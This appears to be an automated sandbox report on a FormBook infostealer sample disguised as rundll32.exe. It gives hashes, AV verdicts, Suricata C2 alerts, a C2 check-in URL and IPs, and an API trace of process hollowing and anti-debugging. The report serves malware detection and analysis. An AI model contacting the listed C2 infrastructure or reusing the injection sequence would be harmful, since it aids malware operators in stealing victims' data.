Summary | ZeroBOX

rundll32.exe

Generic Malware AntiDebug PE File PE32 .NET EXE AntiVM
Category Machine Started Completed
FILE s1_win7_x6402 Oct. 5, 2021, 5:45 p.m. Oct. 5, 2021, 5:47 p.m.
Size 544.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 1d6ee7c0d6d827f3d7ce131fd2c69d5d
SHA256 0ab5b36920783c2ba772f2a06ef832e22c07a551043dbae2c33cfcf27b1b238e
CRC32 B8D475FD
ssdeep 6144:ZAvQ+3HwOqr5VF8W1JS/ELBCzwGbS0yawbA8gbxaZ1nK12jC57yRrJhXK8DAi15j:ZAIo4jFv4/EwQ0ya2Ax6TjCNy9NDN8w
PDB Path C:\Users\Administrator\Desktop\Client\Temp\rsNqDgsbuD\src\obj\Debug\SynchronizedServerContextSi.pdb
Yara
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)

IP Address Status Action
164.124.101.2 Active Moloch
34.80.190.141 Active Moloch
47.91.170.222 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49166 -> 34.80.190.141:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 34.80.190.141:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 34.80.190.141:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
pdb_path C:\Users\Administrator\Desktop\Client\Temp\rsNqDgsbuD\src\obj\Debug\SynchronizedServerContextSi.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
suspicious_features GET method with no useragent header suspicious_request GET http://www.dorotajedrusik.com/cmsr/?ElS=cv8nmsghz/0G5fGTtWrlOCmFaMIR/3kPto7XDrfx1woCi+6kzviqAai4CoqhzgdePYFy6ZTo&Qtu=JnzpcdM03r_
request GET http://www.dorotajedrusik.com/cmsr/?ElS=cv8nmsghz/0G5fGTtWrlOCmFaMIR/3kPto7XDrfx1woCi+6kzviqAai4CoqhzgdePYFy6ZTo&Qtu=JnzpcdM03r_
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73fc2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 1572864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b10000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x737e2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f3b000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x731a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x731a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 1835008
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c90000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00e10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00452000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00505000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0050b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00507000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7215a000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0045a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x70921000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x70781000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aa1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x706a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x705f1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x706a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x703d1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76f71000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x765c1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76ba1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73e21000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76ec1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x70771000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x70751000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aa2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6f211000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aa3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 28672
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aa4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2096
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00aad000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6f201000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1624
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021b0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
section {u'size_of_data': u'0x00087600', u'virtual_address': u'0x00002000', u'entropy': 7.811407670593144, u'name': u'.text', u'virtual_size': u'0x000875e0'} entropy 7.81140767059 description A section with a high entropy has been found
entropy 0.995404411765 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 1624
region_size: 188416
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000034c
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL»éiRà  Æ°ëà@à@.textÄÆ `
base_address: 0x00400000
process_identifier: 1624
process_handle: 0x0000034c
1 1 0

WriteProcessMemory

buffer: @
base_address: 0x7efde008
process_identifier: 1624
process_handle: 0x0000034c
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL»éiRà  Æ°ëà@à@.textÄÆ `
base_address: 0x00400000
process_identifier: 1624
process_handle: 0x0000034c
1 1 0
Elastic malicious (high confidence)
MicroWorld-eScan Gen:Variant.Bulz.749277
FireEye Gen:Variant.Bulz.749277
ALYac Gen:Variant.Bulz.749277
Sangfor Suspicious.Win32.Save.a
Symantec Scr.Malcode!gdn30
APEX Malicious
Paloalto generic.ml
Kaspersky VHO:Trojan.MSIL.Crypt.gen
BitDefender Gen:Variant.Bulz.749277
Ad-Aware Gen:Variant.Bulz.749277
Emsisoft Gen:Variant.Bulz.749277 (B)
Microsoft Trojan:Win32/Sabsik.FL.B!ml
GData Gen:Variant.Bulz.749277
Cynet Malicious (score: 100)
MAX malware (ai score=89)
Malwarebytes Trojan.MalPack.ADC
SentinelOne Static AI - Suspicious PE
Process injection Process 2096 called NtSetContextThread to modify thread in remote process 1624
Time & API Arguments Status Return Repeated

NtSetContextThread

registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4320176
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000374
process_identifier: 1624
1 0 0
Process injection Process 2096 resumed a thread in remote process 1624
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000374
suspend_count: 1
process_identifier: 1624
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x00000144
suspend_count: 1
process_identifier: 2096
1 0 0

NtResumeThread

thread_handle: 0x000001b8
suspend_count: 1
process_identifier: 2096
1 0 0

NtResumeThread

thread_handle: 0x000001f4
suspend_count: 1
process_identifier: 2096
1 0 0

CreateProcessInternalW

thread_identifier: 1904
thread_handle: 0x00000374
process_identifier: 1624
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\rundll32.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\rundll32.exe
stack_pivoted: 0
creation_flags: 134742020 (CREATE_NO_WINDOW|CREATE_SUSPENDED|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000034c
1 1 0

NtGetContextThread

thread_handle: 0x00000374
1 0 0

NtAllocateVirtualMemory

process_identifier: 1624
region_size: 188416
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000034c
1 0 0

WriteProcessMemory

buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL»éiRà  Æ°ëà@à@.textÄÆ `
base_address: 0x00400000
process_identifier: 1624
process_handle: 0x0000034c
1 1 0

WriteProcessMemory

buffer:
base_address: 0x00401000
process_identifier: 1624
process_handle: 0x0000034c
1 1 0

WriteProcessMemory

buffer: @
base_address: 0x7efde008
process_identifier: 1624
process_handle: 0x0000034c
1 1 0

NtSetContextThread

registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4320176
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000374
process_identifier: 1624
1 0 0

NtResumeThread

thread_handle: 0x00000374
suspend_count: 1
process_identifier: 1624
1 0 0